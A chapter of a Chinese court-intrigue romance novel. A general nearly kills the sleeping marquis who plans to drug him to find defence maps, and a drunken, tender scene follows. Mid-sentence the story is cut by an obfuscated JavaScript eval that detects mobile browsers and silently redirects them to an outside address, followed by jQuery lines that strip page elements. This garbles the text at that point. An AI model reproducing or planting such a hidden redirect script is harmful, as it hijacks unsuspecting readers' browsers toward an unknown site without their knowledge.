应泊舟从宫里出来时,天已经黑透了。
雨不知何时又落了下来,细细密密,他没有撑伞,一路骑马回府,等到将军府门前下马时,身上的官服已经洇湿了大半,贴在身上。
王福早就在门房候着,见他回来,连忙撑着伞迎上去:“将军,您可算回来了,这衣裳都湿透了,快回屋换下,仔细春寒着凉。”
应泊舟“嗯”了一声,忽然顿住脚步,问:“温邬呢?”
王福愣了一下,随即答道:“温侯爷比您早回来一个时辰,回来后一直在您房中等着,说是,有话要与您说。”
“说来也奇怪,侯爷打将军山回来还传过信午后便回将军府,以免引人注意,不想也是天将黑时才归。”
应泊舟的目光微微一动,眉头蹙起。
“他一个人在我房里?”
“是,不过咱们没敢让他在您房里单独待着,所以房门一直大开,有人在外头守着。”
应泊舟沉默片刻,忽然转了方向,往偏院走去。
王福追了两步:“将军?您不回屋换衣裳?”
“去偏院备热水。”应泊舟头也不回,“我沐浴更衣后再过去。”
王福还想说什么,却见自家将军已经消失在眼前,只得应了声是,匆匆去安排。
应泊舟很快收拾完,踏进院门,远远便望见了那一处暖光。
夜风裹着潮湿的寒气扑面而来,他脚步微顿,目光落在那一方暖黄的窗纸上,像是被什么无形的东西牵住了。
手下要跟上,他抬手制止,独自往里走。
房门大开着。
温邬趴在桌上,侧脸枕着手臂,呼吸绵长而均匀,在他手边放了一壶酒。
睫毛在眼睑下投出一小片阴影,眉宇间那点惯常的疏离与算计此刻都松开了,竟显出几分难得的柔软。脸颊不知是被酒意还是被屋里的暖意熏得微红,嘴唇抿着,唇色却有些淡。
应泊舟站在门口,一时竟忘了迈步,他垂眸看着趴在桌上的人。
温邬此去锦城的目的,双方心知肚明,现在太后一方全面受限,眼见养兵一时已有眉目,正是压制太后的大好时机。可朝中局势瞬息万变,当今圣上等了那么多年,万不可再有闪失。
既然温邬不接受策反,便不能让他活着到达锦城。”
应泊舟垂眸,看不清神色。
片刻后,他拔出刀,目光冰冷。
刀锋贴着温邬的脖颈,冷白的光映在那片白皙的皮肤上,只要再往下一寸——
就在这时,温邬皱了皱眉,像是被冰着了,下意识往旁边躲了躲,嘴里含糊地嘟囔了一句什么,唇角向下撇了撇,像是在梦里受了极大的委屈。
应泊舟的手僵住了。
刀锋颤了颤。
应泊舟猛地一闭眼,收了刀。
他抿了抿唇,自暴自弃般在桌子的另一边坐下,声音沙哑:“别装了。”
温邬的睫毛动了动,缓缓睁开眼睛。那双眼睛清亮得很,哪有半分刚睡醒的迷蒙。
他撑着下巴,弯了弯嘴角:“你竟然没杀我。”事到如今,他与应泊舟已经明牌,就是要除去对方。
应泊舟没说话。
温邬笑意更深,那笑意里有几分了然,几分玩味,还有几分应泊舟看不懂的东西。
“真后悔没有一开始就杀了你。”应泊舟道,声音低得像从胸腔里挤出来的。
温邬歪了歪头,轻笑一声:“为什么?”
应泊舟不答。
温邬却不肯放过他,慢悠悠地追问:“因为你现在无法对我下手?”
他伸手拿过酒壶,往应泊舟面前的空杯里斟满酒。
应泊舟垂眸看着那杯酒,烛光在酒液里晃动,碎成点点星子,半晌,他嗤笑一声:“你真是混账,半分不给人台阶下。”
片刻后,他端起酒杯,一饮而尽。
温邬撑着头,两眼弯弯地看着他,声音里带着笑意:“你就不怕我下毒?”
应泊舟眼都不抬:“你下了?”
“这可说不准,”温邬直起身,给自己也倒了一杯酒,抬手举杯,悠悠道,“你刚才不也想杀了我?”
应泊舟抬眼看了他片刻,冷笑一声,举杯在他杯沿轻碰:“我倒希望真能杀你。”
温邬挑眉,抿了一口:“谁说不是呢?”
他本是顺着应泊舟的话说一句,不料话音刚落,应泊舟的动作顿了顿。
然后便见应泊舟的目光开始涣散,眉头微微蹙起,像是想说什么,却只是张了张口。
接着,他头一栽,趴在了桌上。
温邬当即愣住,他眨了眨眼,起身踢了下应泊舟的小腿,不可置信地笑了:“不是吧,一杯倒?我还没把下药的酒端上来呢。”
他伸手推了推应泊舟的肩膀,没反应。又戳了戳他的脸,还是没反应。
“早知道你酒量这么差,我还计划着下什么药?”温邬有些哭笑不得,见人依旧没动静,琢磨着此人酒品大约不错,于是准备把人扛到床上去。
然而,他刚弯下腰,就突然被一只手攥住了他的手腕。
温邬低头,对上应泊舟不知何时睁开的眼睛。
那双眼睛不复平日的清冷锐利,眼神涣散而迷蒙,眼眶泛着红,像是被酒意蒸出来的。
他脸颊烫得惊人,呼吸也急促起来,抿了抿干涩的嘴唇,声音低哑,竟带着几分委屈的意味。
“温邬。”
温邬:“……”
哦豁,怕什么来什么,醉鬼撒酒疯了,要不还是捆起来吧。
他手上挣动了几下,但没成功,又对上应泊舟的目光,最后只得赖着性子应了声:“嗯?”
应泊舟却没有立刻说话,他盯着地面,不知想到了什么,眉头拧成了一团。
不知过了多久,就在温邬即将耐心告罄时,应泊舟才开了口。
应泊舟盯着他,一字一顿地说:“你又利用我。”
温邬本以为他要骂人,没想到听见了这句话,他猛地一怔,张了张口,乐道:“本侯利用你,怎么了?这不是应该的吗?”
应泊舟攥着他手腕的力道又紧了几分,根本不理会他说了什么,只像是怕他跑掉:“你一定是想趁机在我这里找什么东西。”
温邬的睫毛轻轻颤了一下。
应泊舟说得没错,他确实是想找布防图。之前在书房借着查阅公文的借口翻了一遍,一无所获。
他不是没看出应泊舟对自己和以前不大一样,所以想利用这一点给人下药,在卧房里找,顺便也探探应泊舟对“杀他”这件事的态度,方便他以后动手。
只是没想到,这人一杯就倒,更没想到,倒了还能醒。
温邬懒得跟醉鬼计较,挣了挣手腕:“松手,我把你弄床上去。”
“不松。”应泊舟固执地攥着,另一只手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261400|198042||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也抬起来,攀上了他的手臂,“我不会让你得逞。”
温邬停下动作,好整以暇地看着他:“哦?”
“我不会放过你。”应泊舟说,声音闷闷的,像是赌气。
温邬看着他,忽然觉得有意思极了。
这人平日里冷着一张脸,生人勿近,此刻却像一只护食的大犬,明明醉得七荤八素,还死咬着不撒嘴。
他起了逗弄的心思,慢悠悠地凑近了些,语气轻佻:“你要怎么不放过我?打我?”
应泊舟摇头。
“杀我?”
应泊舟的动作顿了顿,眉头拧起来,像是在认真思考这个问题。
温邬笑出了声,真是太有意思了。
他往前迈了一步,俯下身,手指轻轻挠了挠应泊舟的下巴,像逗猫逗狗那样:“既然不打不杀,那还能怎么做?”
他的声音放得很轻,带着笑意和几分说不清的意味:“难不成你要——”
他的手顺着应泊舟的喉结缓缓下滑,在那人胸口顿了顿,然后继续往下,在某处轻轻摸了一把。
那地方瞬间有了反应。
温邬挑了挑眉,凑到应泊舟耳边,呼吸滚烫:“艹我?”
这话可谓糙极了,不像是温邬会说的,不过他其实就是说着玩的。
醉成这样,能干什么?而且应泊舟也不会对他干什么,之前对他产生了不一样的感觉,可不代表现在在知道太后将要起兵后依旧如此。
应泊舟此人公私一向分得很清。
他说完便打算继续将人拉上床,然后脚下刚迈出一步——
下一瞬,天旋地转。
温邬还没反应过来,人已经被拽着往前一栽,跌进了应泊舟怀里。他撑着手臂想站起来,却发现应泊舟的力气大得惊人,那双手箍着他的腰,怎么都挣不开。
“应泊舟!”温邬的声音带上了几分恼意,“你松开!”
应泊舟没松。
他反而收紧了手臂,把温邬整个人捞进了怀里。
温邬挣扎了几下,发现自己竟然挣脱不开,这人喝了酒,力气反而更大了?
就在他以为应泊舟真要做什么的时候,应泊舟忽然捞过床上的被子,将他里三层外三层地裹了起来。
温邬被裹成了一只蚕蛹,只剩一个脑袋露在外面。
他懵了。
应泊舟低头看着他,眼神依旧涣散,却带着一种奇怪的认真。
他伸手探了探温邬的额头,又摸了摸他的脸,眉头皱起来:
“你好烫。”
温邬张了张嘴,生平头一次生出些气急败坏的情绪来,想说你才烫,你全家都烫,但他确实在发烧,今天一下午头都晕胀得厉害。
“发烧了。”应泊舟自顾自地说,语气笃定,“要休息。”
“休息个屁,你放开我。”温邬咬牙切齿。
“不行。”
应泊舟道,他盯着温邬忽闪忽闪的眼睛,不知道在想什么。
突然松开紧蹙的眉心,俯下身。
在温邬震惊的目光中,温热的唇落在温邬的眼睛上,轻轻贴了贴,像是一个极轻极柔的吻。
“应泊舟,你……”
温邬僵住了,他一双眼睛睁得又大又圆,直愣愣地盯着床边的应泊舟,像是失声一般,发不出声音。
半晌,才喉间干涩地憋出几个字。
“你疯了吗?”